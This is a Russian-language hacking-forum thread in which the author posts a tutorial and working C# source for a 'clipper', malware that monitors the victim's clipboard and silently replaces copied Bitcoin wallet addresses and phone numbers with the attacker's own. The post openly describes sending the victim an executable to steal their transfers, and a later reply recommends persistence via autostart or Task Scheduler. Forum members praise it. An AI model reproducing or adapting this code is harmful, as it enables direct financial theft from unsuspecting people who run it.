Загрузка...

Author's article Quiet Clipper in C#

Thread in C# created by Skrom_inactive86480 Apr 30, 2018. 4388 views

  1. Skrom_inactive86480
    Skrom_inactive86480 Topic starter Apr 30, 2018 AcridRain ******* 107 Feb 25, 2017
    Добрый день форумчане. Я редко сижу на форумах, хотя зарегистрирован тут давно. Недавно мои знакомые начали меня заставлять общаться с людьми:biggrin:
    По этому думаю настало время делиться всеми своими наработками и обучать новичков.

    Для начала объясню что же такое клипер - данная софтина будет подменять скопированные пользователем данные на нужные нам. Например кошельки вебмани, яндекс денег, ****, криптовалюты и т.д.
    Для чего это нужно думаю догадались, но для не дальновидных поясню:

    - закинули жертве exe файл она его запустила и нечего не подозревает.
    - захотела наша жертва сделать перевод денег со своего **** на **** своей подруги.
    - спросила у подруги номер кошелька, скопировала его, и вставила на сайте для перевода. но вместо кошелька подруги вставился наш кошелек.
    ну дальше думаю уж точно все ясно

    Сегодня мы с вами напишем простенький клипер на c# который будет подменять номер телефона и (внимание!) НА 100% подменять биткоин кошелек.

    Для начала создадим проект в Visual Studio (я буду использовать версию 2017), версию Фреймворка ставим 3.5 (переписать под 2.0 особых проблем не составит так как все функции и методы которые сегодня будем использовать, стандартные.

    После создания проекта добавляем библиотеки:
    - System.Windows.Forms
    - ClipboardHelper (Скачать данную библиотеку можно тут: http://rgho.st/782KjQMLg)

    Подключаем нужные нам юзинги:

    using System.Net;
    using System.IO;
    using System.Text.RegularExpressions;
    using System.Windows.Forms;
    using ClipboardHelper;

    Далее создаем событие изменения буфера обмена, назовем его "Clip":

    Code
            static void Clip(ClipboardFormat format, object data)
    {
    Regex myReg1 = new Regex(@"((\+38|8)[ ]?)?([(]?\d{3}[)]?[\- ]?)?[\d\-]{6,14}"); //Номер телефона
    Regex myReg2 = new Regex(@"^(?=.*[0-9])(?=.*[a-zA-Z])[\da-zA-Z]{27,34}$"); //Биткоин
    string bufertext = Clipboard.GetText();
    if (myReg1.IsMatch(bufertext))
    Clipboard.SetText("Номер телефона");
    else if (myReg2.IsMatch(bufertext) && GET("https://blockchain.info/ru/q/addresstohash/",bufertext) != "0")
    Clipboard.SetText("16JpwbFNzQGAbfJPJgR7MNs9EPTfbK5bsh");
    }

    В данном примере мы видем две регулярки:
    Regex myReg1 = new Regex(@"((\+38|8)[ ]?)?([(]?\d{3}[)]?[\- ]?)?[\d\-]{6,14}");
    Regex myReg2 = new Regex(@"^(?=.*[0-9])(?=.*[a-zA-Z])[\da-zA-Z]{27,34}$");

    Первая определяет что в строке находится номер телефона а вторая определяет что в строке находится кошелек биткоинов.
    В данном случае строкой является то что жертва скопировала в буфер обмена.
    Но есть большое "НО"! Регулярки не могут на 100% знать что в строке действительно биткоины, они лишь способны сказать что данный текст похож на номер BTC.
    По этому мы обратимся к API BTC и спросим у них "Слышь бро, подскажи ка, эти битки существуют?", на что он нам даст точный ответ и мы будем уверены подменять сейчас буфер обмена или нет.

    по этому создадим статическую переменную типа string и назовем ее GET:
    Code
            static string GET(string URL, string param)
    {
    try
    {
    WebRequest req = WebRequest.Create(URL + param);
    WebResponse resp = req.GetResponse();
    Stream stream = resp.GetResponseStream();
    StreamReader sr = new StreamReader(stream);
    string OUT = sr.ReadToEnd();
    return OUT;
    }
    catch { return "0"; }

    Незабываем обернуть код в try catch ибо если скопируеться не существующий биток мы получим исключение.

    Теперь в main запустим наш обработчик таким вот образом:

    ClipboardMonitor.OnClipboardChange += Clip;
    ClipboardMonitor.Start();

    Запускаем и проверяем:
    Загрузка **: 0% (при копировании поднимается на секунду до 0,1%)
    Загрузка сети: 0% (при копировании битков - 0,1%)
    Память: 3.5МБ (если консоль не скрыта то 6МБ, в режиме отладки до 11МБ).

    Для тех кто нечего не понял показываю наглядно:



    Лайки и коменты на ютуб приветствуются:p:. Всем спасибо за внимание надеюсь кому-то помог.
    #моястатья
     
  2. Енот272_inactive171964
    Енот272_inactive171964 Apr 30, 2018 Ушел на покой 372 Sep 6, 2017
    скромыч, ты забыл поставить в конце #моястатья
    RaysMorgan однозначно дай ему авторку, такого контента еще не было)))
     
  3. vladuxan
    vladuxan Apr 30, 2018 Banned 63 Sep 9, 2017
    авторку ему!
     
  4. TheRikka
    TheRikka Apr 30, 2018 Смотрю хентай , ебу шлюх , проебываю миллионы © 165 Feb 11, 2018
    Оууу май , наканец то гайдец появился
    #авторкуемуплс :frog_wow:
     
  5. Skrom_inactive86480
    Skrom_inactive86480 Topic starter Apr 30, 2018 AcridRain ******* 107 Feb 25, 2017
    Спасибо за заметку и добрые слова бро, исправил)
     
  6. YNNDO
    YNNDO Apr 30, 2018 Banned 32 Apr 1, 2018
    авторку ему!
     
  7. Енот272_inactive171964
    Енот272_inactive171964 Apr 30, 2018 Ушел на покой 372 Sep 6, 2017
    не за что братан, так держать, кто не поставит симпу - тот редиска!
     
  8. Skrom_inactive86480
    Skrom_inactive86480 Topic starter Apr 30, 2018 AcridRain ******* 107 Feb 25, 2017

    Ну я посмотрел что по шарпам слишком мало всего, и шарпы часто несправедливо унижают, а зря))
     
  9. renameduser_332152
    renameduser_332152 Apr 30, 2018 Banned 129 Mar 11, 2018
    Хорошая тема
    Молодец
     
  10. Енот272_inactive171964
    Енот272_inactive171964 Apr 30, 2018 Ушел на покой 372 Sep 6, 2017
    да и по питону мало, на англоязычных бордах инфы полно, в рунете вообще с гулькин нос, нужно исправлять!
     
  11. Skrom_inactive86480
    Skrom_inactive86480 Topic starter Apr 30, 2018 AcridRain ******* 107 Feb 25, 2017
    Спасибо большое, рад слышать такое в мой адрес. Думаю скоро еще выложу пару годных статеек)
     
  12. CEME4KA
    CEME4KA Apr 30, 2018 The world is yours. 454 Aug 5, 2017
    было вроде, не?
     
  13. Енот272_inactive171964
    Енот272_inactive171964 Apr 30, 2018 Ушел на покой 372 Sep 6, 2017
    не не было. данное является авторской темой.
     
  14. renameduser_332152
    renameduser_332152 Apr 30, 2018 Banned 129 Mar 11, 2018
     
  15. tvoyDAD
    tvoyDAD Apr 30, 2018 Banned 665 May 10, 2017
    Качественный контент подъехал, лучший!!
     
  16. Skrom_inactive86480
    Skrom_inactive86480 Topic starter Apr 30, 2018 AcridRain ******* 107 Feb 25, 2017
    если и было то врятли кто-то писал с помощью winapi. максимум цикл с thread.sleap(0) - но это также грузит систему)
     
  17. Skrom_inactive86480
    Skrom_inactive86480 Topic starter Apr 30, 2018 AcridRain ******* 107 Feb 25, 2017
    во первых нет. мы вешаем наш софт на событие в winAPI. он будет работать постоянно.
    Ну и вовторых - софт нужно запихнуть в автозагрузку (желательно в планировщик задач)
    ну и еще много чего. Я сейчас показал пример ПРАВИЛЬНОГО клипера без использования циклов.
     
  18. EternalHuman2049
    Да почему сообщения по 500 раз отправляются,...
     
  19. EternalHuman2049
    С **** делали такое же
     
  20. ginelow
    ginelow Apr 30, 2018 Banned 68 Jan 11, 2018
    Был на твоем стриме, когда ты показывал как писать его в реальном времени, ахуенно было
     
Loading...
Top